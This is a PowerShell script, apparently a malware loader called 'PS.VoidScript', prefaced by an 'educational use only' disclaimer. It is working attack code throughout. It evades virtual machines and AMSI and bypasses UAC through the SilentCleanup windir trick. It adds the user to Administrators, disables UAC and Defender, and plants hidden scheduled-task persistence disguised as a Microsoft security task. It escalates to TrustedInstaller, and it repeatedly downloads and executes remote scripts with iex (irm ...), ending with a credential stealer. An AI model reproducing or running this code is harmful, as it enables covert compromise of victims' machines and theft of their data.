# --- Author: zetod1ce (github.com/ztd38f) --- #
# --- DISCLAIMER: Provided as-is, without warranties. For educational and testing use only in controlled environments. Use at your own risk. --- #


<# Описание Функционала:

1. Подготовка:
 > Cкрытие окна консоли
 > Настройка UI консоли
 > Создание графических инфо-сообщений
 > Синхронизация переменных консоли

2. Обход Защиты:
 > Завершение скрипта при обнаружении следов среды виртуальной машины (VirtualBox, VMware, Hyper-V, Parallels, Xen, QEMU/Bochs)
 > Обход AMSI (AntiMalwareScanInterface) и ExecutionPolicy
 > Включение всех доступных привилегий
 > Получение прав администратора (если они не были предоставлены):
     + Если пользователь В группе "Администраторы": Получает права админа используя уязвимость подмены переменной windir для задачи SilentCleanup
     - Если пользователь НЕ в группе "Администраторы": Создание автозапуска скрипта через планировщик задач без прав администратора + Спам запросами UAC
 > Добавление исключений и отключение/ослабление: уведомлений, защиты Defender, политик, служб, сервисов, задач планировщика, логирования, SmartScreen и компонентов безопасности системы
 > Cоздание основного автозапуска скрипта через планировщик задач
 > Функция RunAsTI для получения высших прав системы TrustedInstaller

3. Запуск:
 > Переподключается к интернету каждый раз при потере соединения
 > Скачивает и запускает файл согласно приготовленной конфигурации из удалённого веб-конфига
 > Убирает защиту от Zone.Identifier (Alternative Data Stream)
 > Устанавливает скрытые атрибуты для файлов и папок
 > Выполняет скачанный файл с параметром пароля
 > Запускает скрипт стилера
#>

<# Description of Functionality:

1. Preparation:
 > WinHide function to hide the console window
 > Update-UserVars function to update variables for the current user
 > MsgBlock function for graphical informational messages (debugging)
 > Sets ExecutionPolicy to Bypass
 > Disables debugging and command history
 > Configures console UI settings (encoding, title, size, colors)

2. Security Bypass:
 > Terminates the script if a virtual machine environment is detected (VirtualBox, VMware, Hyper-V, Parallels, Xen, QEMU/Bochs)
 > PS.NullContext function to bypass AMSI (AntiMalwareScanInterface) and ExecutionPolicy restrictions
 > SetPrivileges function to enable all available privileges
 > UACBypass function to getting administrator rights (if they were not granted):
     + If the user is in the administrators group: Gains admin rights using the windir variable substitution vulnerability for the SilentCleanup task
     - If the user is not in the administrators group: The MakeTask function creates script autostart via Task Scheduler & performs a looped UAC request to restart the console with administrator rights
 > Partially disables security:
     * Disables security notifications
     * Makes the user an administrator
     * Disables UAC (administrator rights prompts)
     * Adds all drives to Windows Security antivirus exclusions
     * Disables controlled folder access
 > The MakeTask function creates a more stealthy script autostart via Task Scheduler
 > RunAsTI function to obtain the highest TrustedInstaller system rights

3. Execution:
 > Reconnects to the internet each time the connection is lost
 > Downloads and runs a file according to the prepared configuration from remote web-config
 > Removes protection by Zone.Identifier (Alternative Data Stream)
 > Sets hidden attributes for files
 > Executes downloaded file with password parameter
 > Runs stealer script
#>

<#
PS.LoadPage - psload.pages.dev
PS.Security-Off - sec-off.pages.dev
PS.Security-On - sec-on.pages.dev
PS.NTLMHashExport - ntlm-hash-export.pages.dev
PS.RegUnlock - psru.pages.dev
PS.RunAsTI - runasti.pages.dev
PS.SecurityBypass - pssb.pages.dev
PS.ShortcutAttack - ps-shortcut-attack.pages.dev
PS.Stealer - psstl.pages.dev
PS.VMDetector - psvmd.pages.dev
Test-UACBypass - uacb.pages.dev
PS.UI - psui.pages.dev
Sync-CLIVars - sync-clivars.pages.dev

CLI-Wrangler - wrgl.pages.dev
PS.Office - get-office.pages.dev
PS.Capcut - get-capcut.pages.dev

WinSetApps - winsetapps.pages.dev
Drivers-Update - drivers-update.pages.dev
StartSettings - startsettings.pages.dev
FixStartMenu - fixstartmenu.pages.dev
#>

# -- Hide Console Window -- #
function WinHide ($flag = $true) {
    Add-Type 'using System;using System.Runtime.InteropServices; public class WinHide {[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd,int nCmdShow);}'
    [WinHide]::ShowWindow([WinHide]::GetConsoleWindow(),$(if ($flag) {0} else {1}))>$null
}; WinHide

# -- Console UI Settings -- #
iex (irm -useb psui.pages.dev)
PS.UI "PS.VoidScript [github.com/ztd38f]" 80 25 25 "Black" "Black"

# -- Graphical Info-Messages -- #
function MsgBlock ([string]$T, $flag = $true) {
    if (!($flag)) {return $null}
    Add-Type -ra System.Windows.Forms, System.Drawing 'using System;using System.Drawing;using System.Windows.Forms;public class Text:Form{Timer t;float o=0.1f;int d=300;bool f=true;public Text(string txt){FormBorderStyle=FormBorderStyle.None;ShowInTaskbar=false;TopMost=true;StartPosition=FormStartPosition.CenterScreen;Opacity=0;DoubleBuffered=true;ForeColor=Color.Red;BackColor=Color.Black;ShowInTaskbar=false;using(var g=CreateGraphics()){var fnt=new Font("Arial",24,FontStyle.Bold,GraphicsUnit.Pixel);var lines=txt.Split(''\n'');float w=0;float h=0;foreach(var line in lines){var sz=g.MeasureString(line,fnt);w=Math.Max(w,sz.Width);h+=sz.Height;}ClientSize=new Size((int)w+30,(int)h+30);}t=new Timer{Interval=20};t.Tick+=T_Tick;t.Start();Paint+=(s,e)=>{e.Graphics.FillRectangle(new SolidBrush(BackColor),0,0,ClientSize.Width,ClientSize.Height);e.Graphics.DrawRectangle(new Pen(Color.Red,3),3,3,ClientSize.Width-6,ClientSize.Height-6);e.Graphics.TextRenderingHint=System.Drawing.Text.TextRenderingHint.AntiAliasGridFit;var fnt=new Font("Arial",24,FontStyle.Bold,GraphicsUnit.Pixel);var lines=txt.Split(''\n'');float y=15;foreach(var line in lines){var sz=e.Graphics.MeasureString(line,fnt);e.Graphics.DrawString(line,fnt,new SolidBrush(ForeColor),(ClientSize.Width-sz.Width)/2,y);y+=sz.Height;}};}void T_Tick(object s,EventArgs e){if (f){if (Opacity<1)Opacity+=o;else{f=false;t.Interval=d;}}else{if (t.Interval==d){t.Interval=20;o=-o;}if (Opacity<=0){t.Stop();Close();}Opacity+=o;}}}' *>$null
    [Windows.Forms.Application]::EnableVisualStyles()
    (New-Object Text $T).ShowDialog()>$null
}

# -- Sync CLI Vars -- #
MsgBlock "Sync CLI Vars"
iex (irm sync-clivars.pages.dev)

# -- Virtual Machine Detection -- #
MsgBlock "Virtual Machine Detection"
iex (irm -useb psvmd.pages.dev)

# -- Execution Policy & AMSI Bypass -- #
MsgBlock "Execution Policy & AMSI `nBypass"
iex (irm -useb pssb.pages.dev)

# -- Enable All Privileges -- #
MsgBlock "Enable All Privileges"
function SetAllPrivileges {whoami /priv |? {$_ -match '^Se\w+'} |% {$matches[0]} |% {([diagnostics.process].GetMember('SetPrivilege',60)).Invoke($null,("$_",2))}}; SetAllPrivileges

# -- Creating an Autostart -- #
MsgBlock "Creating an Temp Autostart"
function MakeTask ($exe, $arg, $taskname) {@("<?xml version=`"1.0`" encoding=`"UTF-16`"?><Task version=`"1.2`" xmlns=`"http://schemas.microsoft.com/windows/2004/02/mit/task`"><RegistrationInfo><Date>2025-01-01T00:00:00</Date><Author>$env:username</Author></RegistrationInfo><Triggers><SessionStateChangeTrigger><Enabled>true</Enabled><StateChange>SessionUnlock</StateChange><UserId>$env:userdomain\$env:username</UserId></SessionStateChangeTrigger></Triggers><Principals><Principal id=`"Author`"><UserId>$env:userdomain\$env:username</UserId><LogonType>InteractiveToken</LogonType><RunLevel>LeastPrivilege</RunLevel></Principal></Principals><Settings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>false</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>false</StartWhenAvailable><RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable><IdleSettings><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority></Settings><Actions Context=`"Author`"><Exec><Command>$exe</Command><Arguments>$arg</Arguments></Exec></Actions></Task>") >"$env:temp\task.xml"; schtasks /delete /tn $taskname /f; schtasks /create /xml "$env:temp\task.xml" /tn "$taskname" /it /f; rd "$env:temp\task.xml" -r -force}

# -- UAC Bypass -- #
MakeTask "$exe" "$arg" "VoidScript_$env:username"
MsgBlock "UAC Bypass"
function UACBypass($exe, $arg) {
    $exe = (gcm $exe -ea 0).Source
    if (!(openfiles)) {
        if ((whoami /groups) | sls 544) {
            # ([Security.Principal.WindowsIdentity]::GetCurrent().Groups.Value -contains 'S-1-5-32-544')
            sp "HKCU:\Environment" "windir" "$exe`" $arg `"#" -t s -force
            schtasks /run /tn Microsoft\Windows\DiskCleanup\SilentCleanup /I
            rp HKCU:\Environment windir -force; exit
        }
        else {do {start -v runas -win h "$exe" "$arg"; $x=$?} while (!($x)); exit}
    }
}
UACBypass "$env:SystemRoot\System32\conhost.exe" "--headless `"$env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe`" -win h -ep bypass -nop -c `"iex (irm -useb psvs.pages.dev)`""

# -- Bypass Microsoft Security -- #
MsgBlock "Bypass Microsoft Security"
iex (irm -useb def-d.pages.dev)

# -- Become an Admin -- #
MsgBlock "Become an Admin"
net localgroup ((gcim Win32_Group -f "SID='S-1-5-32-544'").Name) $env:username /add

# -- UAC Disable -- #
MsgBlock "UAC Disable"
('EnableLUA','ConsentPromptBehaviorAdmin') |% {sp "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" "$_" 0 -t d -force}
sp "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" "PromptOnSecureDesktop" 1 -t d -force

# -- Creating an Main Autostart -- #
MsgBlock "Creating an Main Autostart"
MakeTask "$env:SystemRoot\System32\conhost.exe" "--headless `"$env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe`" -win h -ep bypass -nop -c `"iex (irm -useb psvs.pages.dev)`"" "Microsoft\Windows\Security\VoidScript_$env:username"

# -- Gains Trustedinstaller Rights -- #
MsgBlock "Gains Trustedinstaller Rights"
iex (irm -useb psti.pages.dev)
if (!([Security.Principal.WindowsIdentity]::GetCurrent().User.Value -eq 'S-1-5-18')) {runasti "$env:SystemRoot\System32\conhost.exe" "--headless $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -win h -ep bypass -nop -c `"iex (irm -useb psvs.pages.dev)`""; exit}

# -- Network Persistence Loop -- #
MsgBlock "Network Persistence Loop"
start "$env:SystemRoot\System32\conhost.exe" "--headless $env:SystemRoot\System32\cmd.exe /k for /l %i in () do (ping -n 1 google.com || (for /f `"tokens=2 delims=:`" %n in ('netsh wlan show profiles') do (netsh wlan set profileparameter name=%n connectionmode=auto)))"

# -- File Execution -- #
MsgBlock "File Execution"
function CleanZID ($file) {sc ("$file"+":Zone.Identifier") "" -force -ea 0}
function StartHide ($file,$arg){start -v runas -win n "$env:SystemRoot\System32\conhost.exe" "`"$((gcm .\$file).Source)`" `"$arg`""}
attrib +s +h +i +r "$file"

# -- Stealer Execution -- #
MsgBlock "Stealer Execution"
iex (irm -useb psstl.pages.dev)
exit